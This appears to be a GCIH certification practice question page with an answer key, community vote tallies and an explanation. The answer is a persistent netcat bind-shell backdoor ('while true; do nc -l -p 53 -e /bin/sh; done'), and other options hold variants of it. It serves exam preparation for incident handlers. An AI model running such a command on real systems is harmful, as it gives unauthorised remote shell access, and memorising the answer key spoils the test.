nerdexam
GIAC

GCIH · Question #633

How could an attacker set up a persistent backdoor listener to a login shell on TCP port 53 using netcat on a Linux system?

The correct answer is D. while true; do nc -l -p 53 -e /bin/sh; done. This command creates a persistent loop that listens on TCP port 53 and executes a shell every time a connection is made. Here’s a breakdown of the command: while true; do ... done: This creates an infinite loop, ensuring the command inside will continuously run. nc -l -p 53 -e /b

Vulnerability Exploitation & Privilege Escalation

Question

How could an attacker set up a persistent backdoor listener to a login shell on TCP port 53 using netcat on a Linux system?

Options

  • Anc -l -p 53 -e /bin/sh
  • Bnc -1 -p 53
  • Cwhile true; do nc -l -z -p 53; done
  • Dwhile true; do nc -l -p 53 -e /bin/sh; done

How the community answered

(43 responses)
  • A
    5% (2)
  • B
    2% (1)
  • C
    9% (4)
  • D
    84% (36)

Explanation

This command creates a persistent loop that listens on TCP port 53 and executes a shell every time a connection is made. Here’s a breakdown of the command: while true; do ... done: This creates an infinite loop, ensuring the command inside will continuously run. nc -l -p 53 -e /bin/sh: This part of the command uses nc (netcat) to: -l: Listen for an incoming connection. -p 53: Specify port 53. -e /bin/sh: Execute /bin/sh (the shell) when a connection is made.

Topics

#netcat#persistent backdoor#covert channel#port 53

Community Discussion

No community discussion yet for this question.

Full GCIH Practice